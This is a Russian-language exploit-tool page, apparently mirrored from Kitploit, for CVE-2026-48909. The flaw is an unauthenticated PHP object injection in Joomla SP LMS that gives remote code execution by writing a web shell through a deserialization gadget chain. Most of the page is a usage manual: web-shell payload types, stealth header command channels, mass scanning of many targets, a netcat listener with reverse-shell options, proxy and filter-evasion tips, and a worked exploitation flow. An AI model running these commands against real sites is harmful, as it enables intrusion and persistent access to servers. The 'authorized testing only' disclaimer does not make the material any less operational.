CVE-2026-48909-Joomla-SP-Exploit — CVE-2026-48909 — Эксплойт неаутентифицированной инъекции PHP-объектов до RCE для расширения Joomla SP LMS версий <= 4.1.3. Использует десериализацию cookie lmsOrders для записи веб-шелла через цепочку гаджетов Joomla FormattedtextLogger. Включает интерактивную оболочку, обнаружение путей и очистку. Только для авторизованного тестирования безопасности. | Kitploit

Описание

CVE-2026-48909 — Эксплойт неаутентифицированной инъекции PHP-объектов до RCE для расширения Joomla SP LMS версий <= 4.1.3. Использует десериализацию cookie lmsOrders для записи веб-шелла через цепочку гаджетов Joomla FormattedtextLogger. Включает интерактивную оболочку, обнаружение путей и очистку. Только для авторизованного тестирования безопасности.

Атрибут	Значение
CVE ID	CVE-2026-48909
CVSS	9.5 (Критическая)
Вектор атаки	Сеть — без аутентификации
Воздействие	Удаленное выполнение кода
Затронутый продукт	Joomla SP LMS
Затронутые версии	1.0.0 – 4.1.3
Исправленная версия	SP LMS 4.1.4+
Цепочка гаджетов	Требуется Joomla < 5.2.2

Компонент	Версия	RCE
SP LMS	< 4.1.4	Уязвим
SP LMS	≥ 4.1.4	Исправлен
Joomla	< 5.2.2	Цепочка гаджетов работоспособна
Joomla	≥ 5.2.2	Цепочка гаджетов исправлена

Возможность	Описание
Неаутентифицированная эксплуатация	Учетные данные не требуются
Множество нагрузок	7 вариантов веб-шеллов / исполнения
Интерактивная оболочка	Сессия с историей команд после развертывания
Поиск пути	Автоматический поиск путей для записи
Очистка	Удаление развернутого веб-шелла после тестов

Возможность	Описание
Массовое сканирование	Многопоточный список целей (1000+)
Поддержка прокси	HTTP/SOCKS (Burp, ZAP и др.)
Реверс-шелл	Нагрузки с прослушивателем
Скрытый режим	Каналы команд через заголовки / POST
Рандомизация	UUID-имена шеллов, ротация User-Agent
Отчетность	Экспорт в JSON, HTML или CSV
Помощь в обнаружении	Проверка версий Joomla, `--check-only`, `--safe-mode`

# Прослушиватель
nc -lvnp 4444

# Цель эксплуатации
python3 "CVE-2026-48909 v3.0.py" https://target.example \
  --find-path \
  --shell-type reverse \
  --reverse-host 192.168.1.100 \
  --reverse-port 4444

Аргумент	Описание
`target`	URL одной цели
`--targets`, `-T FILE`	Файл со списком целей (по одному URL на строку)
`--path PATH`	Абсолютный серверный путь для веб-шелла
`--shell-type TYPE`	`minimal`, `standard`, `stealth`, `base64`, `full`, `reverse`, `blindshell`
`--shell-name NAME`	Имя файла веб-шелла (по умолчанию: `x.php`)

Аргумент	Описание
`--timeout SECONDS`	Тайм-аут запроса (по умолчанию: `15`)
`--insecure`	Пропустить проверку TLS-сертификата
`--proxy URL`	Например, `http://127.0.0.1:8080`
`--random-ua`	Ротация User-Agent (включено по умолчанию)
`--delay SECONDS`	Задержка между запросами

Аргумент	Описание
`--interactive`, `-i`	Интерактивная оболочка после развертывания
`--check-only`	Только проверка уязвимости
`--safe-mode`	Неразрушающее тестирование
`--find-path`	Автоматическое обнаружение пути для записи
`--cmd COMMAND`	Выполнить одну команду и завершить работу
`--cleanup PATH`	Удалить веб-шелл по указанному пути
`--cleanup-after`	Очистка после эксплуатации

Аргумент	Описание
`--threads NUM`	Потоки-обработчики (по умолчанию: `10`)
`--export FILE`	Путь для сохранения результатов
`--export-format FORMAT`	`json`, `html`, `csv` (по умолчанию: `json`)

Тип	Поведение	Обычное применение
`minimal`	Компактное исполнение через GET	Ограниченное пространство / быстрая проверка
`standard`	GET + POST `cmd` (по умолчанию)	Общие оценки
`stealth`	Команда через заголовок `X-Cmd`	Уменьшение логирования URL
`base64`	`eval(base64_decode(...))` через POST	Лаборатории по обходу фильтров
`full`	GET/POST + канал base64	Более широкий контроль
`reverse`	Подключаемая обратно оболочка	Постоянный доступ в лаборатории
`blindshell`	Альтернативный шаблон включения / выполнения	Ограниченные среды

python3 "CVE-2026-48909 v3.0.py" https://target.example --shell-type minimal --find-path
python3 "CVE-2026-48909 v3.0.py" https://target.example --shell-type stealth --find-path -i
python3 "CVE-2026-48909 v3.0.py" https://target.example --shell-type reverse \
  --reverse-host 10.0.0.1 --reverse-port 4444 --find-path

flowchart TD
    A["Управляемая атакующим cookie lmsOrders"] --> B["unserialize() в cart.php"]
    B --> C["FormattedtextLogger::__destruct()"]
    C --> D["File::write() — сброс PHP"]
    D --> E["Веб-шелл на диске"]
    E --> F["Удаленное выполнение команд"]

{
  "timestamp": "2026-07-16T10:30:00.123456",
  "target": "https://lab.example",
  "shell_path": "/tmp/x_abc123def.php",
  "shell_url": "https://lab.example/tmp/x_abc123def.php",
  "shell_type": "standard",
  "vulnerable": true,
  "exploited": true,
  "joomla_version": "4.3.2",
  "detected_paths": [
    "/tmp/x_abc123def.php",
    "/images/x_abc123def.php",
    "/cache/x_abc123def.php"
  ],
  "author": "Sudeepa Wanigarathna",
  "tool_version": "3.0"
}

Симптом	Что попробовать
Не удалось сгенерировать безопасную для фильтра нагрузку	Используйте другой `--path` или `--find-path`; избегайте необычных символов в пути
Проверка шелла не удалась	Увеличьте `--timeout`; попробуйте `--shell-type standard`; убедитесь, что `system()` и подобные не отключены; проверьте возможность записи
Цель не выглядит уязвимой	SP LMS ≤ 4.1.3, Joomla < 5.2.2, `com_splms` присутствует; проверьте блокировки WAF
HTTP 500	`--insecure`, `--timeout 30`, просмотрите логи приложения / сервера
Отказ в подключении к прокси	Убедитесь, что прокси слушает; проверьте схему URL, хост и порт
Ошибка проверки TLS	Добавьте `--insecure` для лабораторных конечных точек с некорректными сертификатами

# Подробный вывод + файл лога
python3 "CVE-2026-48909 v3.0.py" https://target.example --find-path -v --log-file debug.log

# Через Burp
python3 "CVE-2026-48909 v3.0.py" https://target.example --find-path \
  --proxy http://127.0.0.1:8080 --insecure -v

# Сначала неразрушающий тест
python3 "CVE-2026-48909 v3.0.py" https://target.example --safe-mode

exploit/
├── CVE-2026-48909 v3.0.py   # Основной инструмент (v3.0)
├── requirements.txt         # Python-зависимости
├── README.md                # Этот файл
└── venv/                    # Локальная виртуальная среда (опционально, не в репозитории)

Аргумент	Описание
`--reverse-host HOST`	Хост прослушивателя
`--reverse-port PORT`	Порт прослушивателя

Аргумент	Описание
`--log-file FILE`	Запись логов в файл
`--quiet`, `-q`	Тихий режим
`--verbose`, `-v`	Подробный вывод
`--no-banner`	Скрыть баннер

CVE-2026-48909-Joomla-SP-Exploit

Популярное

Описание

CVE-2026-48909

Joomla SP LMS — Неаутентифицированная PHP-инъекция объектов → Удаленное выполнение кода

Содержание

Обзор

Детали уязвимости

Матрица совместимости

Возможности

Основные

Оценка и эксплуатация

Примечания по обходу защиты

Установка

Предварительные требования

Настройка

Зависимости

Быстрый старт

Одна цель — поиск пути + интерактивная оболочка

Безопасные проверки (без эксплуатации)

Массовое сканирование

Реверс-шелл (авторизованная лаборатория)

Руководство по использованию

Поиск пути

Известный путь для записи

Интерактивная сессия

Однократная команда

Скрытая нагрузка + интерактив

Прокси (Burp / ZAP)

Очистка

Формат списка целей

Справочник по аргументам

Цель

Сеть

Реверс-шелл

Режимы

Массовое сканирование / отчет

Логирование

Типы нагрузок

Цепочка атаки

Техническое резюме

Обход фильтра ввода (высокоуровнево)

Примеры вывода

Интерактивная сессия

Экспорт JSON (формат)

Однократная команда

Устранение неполадок

Процесс отладки

Структура репозитория

История версий

v3.0.0 — Ultimate Edition (июль 2026)

v2.1 — Professional Edition (июль 2026)

Отказ от ответственности

Автор

Поддержка